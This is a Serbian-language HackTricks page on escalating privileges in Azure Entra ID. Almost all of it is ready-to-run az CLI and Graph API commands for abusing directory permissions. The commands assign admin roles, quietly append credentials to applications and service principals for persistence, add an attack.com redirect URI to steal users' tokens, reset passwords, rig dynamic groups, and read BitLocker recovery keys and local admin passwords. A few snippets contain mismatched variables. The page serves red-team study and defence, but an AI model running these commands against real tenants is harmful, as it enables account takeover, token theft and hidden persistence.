Az - EntraID Privesc
Reading time: 11 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
note
Imajte na umu da ne dozvoljavaju sve granularne dozvole ugrađene u uloge u Entra ID da se koriste u prilagođenim ulogama.
Uloge
Uloga: Administrator privilegovanih uloga
Ova uloga sadrži potrebne granularne dozvole za dodeljivanje uloga principima i za davanje više dozvola ulogama. Ove akcije se mogu zloupotrebiti za eskalaciju privilegija.
- Dodeli ulogu korisniku:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Dodajte više dozvola ulozi:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Aplikacije
microsoft.directory/applications/credentials/update
Ovo omogućava napadaču da doda kredencijale (lozinke ili sertifikate) postojećim aplikacijama. Ako aplikacija ima privilegovane dozvole, napadač može da se autentifikuje kao ta aplikacija i stekne te privilegije.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Ovo omogućava iste radnje kao applications/credentials/update
, ali je ograničeno na aplikacije unutar jedne direktorije.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
Dodavanjem sebe kao vlasnika, napadač može manipulisati aplikacijom, uključujući kredencijale i dozvole.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
Napadač može dodati URI za preusmeravanje aplikacijama koje koriste korisnici tenanta i zatim podeliti sa njima URL-ove za prijavu koji koriste novi URL za preusmeravanje kako bi ukrao njihove tokene. Imajte na umu da, ako je korisnik već bio prijavljen u aplikaciju, autentifikacija će biti automatska bez potrebe da korisnik bilo šta prihvati.
Imajte na umu da je takođe moguće promeniti dozvole koje aplikacija zahteva kako bi dobila više dozvola, ali u ovom slučaju korisnik će morati ponovo da prihvati prozor koji traži sve dozvole.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Service Principals
microsoft.directory/servicePrincipals/credentials/update
Ovo omogućava napadaču da doda akreditive postojećim servisnim principalima. Ako servisni principal ima povišene privilegije, napadač može preuzeti te privilegije.
az ad sp credential reset --id <sp-id> --append
caution
Nova generisana lozinka se neće pojaviti u web konzoli, tako da bi ovo mogla biti diskretna metoda za održavanje postojanosti nad servisnim principalom.
Iz API-ja se mogu pronaći sa: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Ako dobijete grešku "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."
to je zato što nije moguće modifikovati svojstvo passwordCredentials SP-a i prvo ga morate otključati. Za to vam je potrebna dozvola (microsoft.directory/applications/allProperties/update
) koja vam omogućava da izvršite:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Ovo omogućava napadaču da doda akreditive postojećim servisnim principalima. Ako servisni principal ima povišene privilegije, napadač može preuzeti te privilegije.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Slično aplikacijama, ova dozvola omogućava dodavanje više vlasnika servisa. Vlasništvo nad servisnim principalom omogućava kontrolu nad njegovim akreditivima i dozvolama.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
caution
Nakon dodavanja novog vlasnika, pokušao sam da ga uklonim, ali API je odgovorio da DELETE metoda nije podržana, čak i ako je to metoda koju treba koristiti za brisanje vlasnika. Dakle, ne možete ukloniti vlasnike danas.
microsoft.directory/servicePrincipals/disable
i enable
Ove dozvole omogućavaju onemogućavanje i omogućavanje servisnih principala. Napadač bi mogao iskoristiti ovu dozvolu da omogući servisnog principala do kojem bi mogao nekako da dođe kako bi eskalirao privilegije.
Napomena: za ovu tehniku napadač će trebati više dozvola kako bi preuzeo omogućeni servisni principala.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials
& microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Ove dozvole omogućavaju kreiranje i dobijanje kredencijala za jedinstveno prijavljivanje, što može omogućiti pristup aplikacijama trećih strana.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Aplikacije za eskalaciju privilegija
Kao što je objašnjeno u ovom postu, bilo je veoma uobičajeno pronaći podrazumevane aplikacije koje imaju API dozvole tipa Application
dodeljene njima. API dozvola (kako se naziva u Entra ID konzoli) tipa Application
znači da aplikacija može pristupiti API-ju bez korisničkog konteksta (bez prijave korisnika u aplikaciju), i bez potrebe za Entra ID rolama da bi to omogućila. Stoga, veoma je uobičajeno pronaći aplikacije sa visokim privilegijama u svakoj Entra ID tenantu.
Dakle, ako napadač ima bilo koju dozvolu/rolu koja omogućava ažuriranje kredencijala (tajna ili sertifikat) aplikacije, napadač može generisati nove kredencijale i zatim ih koristiti da se autentifikuje kao aplikacija, stičući sve dozvole koje aplikacija ima.
Napomena da pomenuti blog deli neke API dozvole uobičajenih Microsoft podrazumevanih aplikacija, međutim, nakon ovog izveštaja Microsoft je ispravio ovaj problem i sada nije moguće prijaviti se kao Microsoft aplikacije. Ipak, još uvek je moguće pronaći prilagođene aplikacije sa visokim privilegijama koje bi mogle biti zloupotrebljene.
Grupe
microsoft.directory/groups/allProperties/update
Ova dozvola omogućava dodavanje korisnika u privilegovane grupe, što dovodi do eskalacije privilegija.
az ad group member add --group <GroupName> --member-id <UserId>
Napomena: Ova dozvola isključuje Entra ID grupe koje se mogu dodeliti uloge.
microsoft.directory/groups/owners/update
Ova dozvola omogućava postajanje vlasnikom grupa. Vlasnik grupe može kontrolisati članstvo u grupi i podešavanja, potencijalno povećavajući privilegije u grupi.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Napomena: Ova dozvola isključuje Entra ID grupe koje se mogu dodeliti uloge.
microsoft.directory/groups/members/update
Ova dozvola omogućava dodavanje članova u grupu. Napadač može dodati sebe ili zlonamerne naloge u privilegovane grupe, što može omogućiti povišen pristup.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Ova dozvola omogućava ažuriranje pravila članstva u dinamičkoj grupi. Napadač bi mogao da izmeni dinamička pravila kako bi se uključio u privilegovane grupe bez eksplicitnog dodavanja.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Napomena: Ova dozvola isključuje Entra ID grupe koje se mogu dodeliti uloge.
Dinamičke Grupe Privesc
Možda je moguće da korisnici eskaliraju privilegije modifikovanjem svojih svojstava kako bi bili dodati kao članovi dinamičkih grupa. Za više informacija pogledajte:
Korisnici
microsoft.directory/users/password/update
Ova dozvola omogućava resetovanje lozinke za ne-administrativne korisnike, omogućavajući potencijalnom napadaču da eskalira privilegije na druge korisnike. Ova dozvola ne može biti dodeljena prilagođenim ulogama.
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
Ova privilegija omogućava modifikaciju svojstava korisnika. Uobičajeno je pronaći dinamičke grupe koje dodaju korisnike na osnovu vrednosti svojstava, stoga, ova dozvola može omogućiti korisniku da postavi potrebnu vrednost svojstva kako bi postao član određene dinamičke grupe i eskalirao privilegije.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Politike uslovnog pristupa i zaobilaženje MFA
Pogrešno konfigurisane politike uslovnog pristupa koje zahtevaju MFA mogu se zaobići, proverite:
Az - Conditional Access Policies & MFA Bypass
Uređaji
microsoft.directory/devices/registeredOwners/update
Ova dozvola omogućava napadačima da se dodele kao vlasnici uređaja kako bi stekli kontrolu ili pristup podešavanjima i podacima specifičnim za uređaj.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Ova dozvola omogućava napadačima da povežu svoj nalog sa uređajima kako bi dobili pristup ili zaobišli bezbednosne politike.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Ova dozvola omogućava napadačima da čitaju svojstva rezervnih lokalnih administratorskih naloga za uređaje povezane sa Microsoft Entra, uključujući lozinku.
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Ova dozvola omogućava pristup BitLocker ključevima, što može omogućiti napadaču da dekriptuje diskove, ugrožavajući poverljivost podataka.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Ostale zanimljive dozvole (TODO)
microsoft.directory/applications/permissions/update
microsoft.directory/servicePrincipals/permissions/update
microsoft.directory/applications.myOrganization/allProperties/update
microsoft.directory/applications/allProperties/update
microsoft.directory/servicePrincipals/appRoleAssignedTo/update
microsoft.directory/applications/appRoles/update
microsoft.directory/applications.myOrganization/permissions/update
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.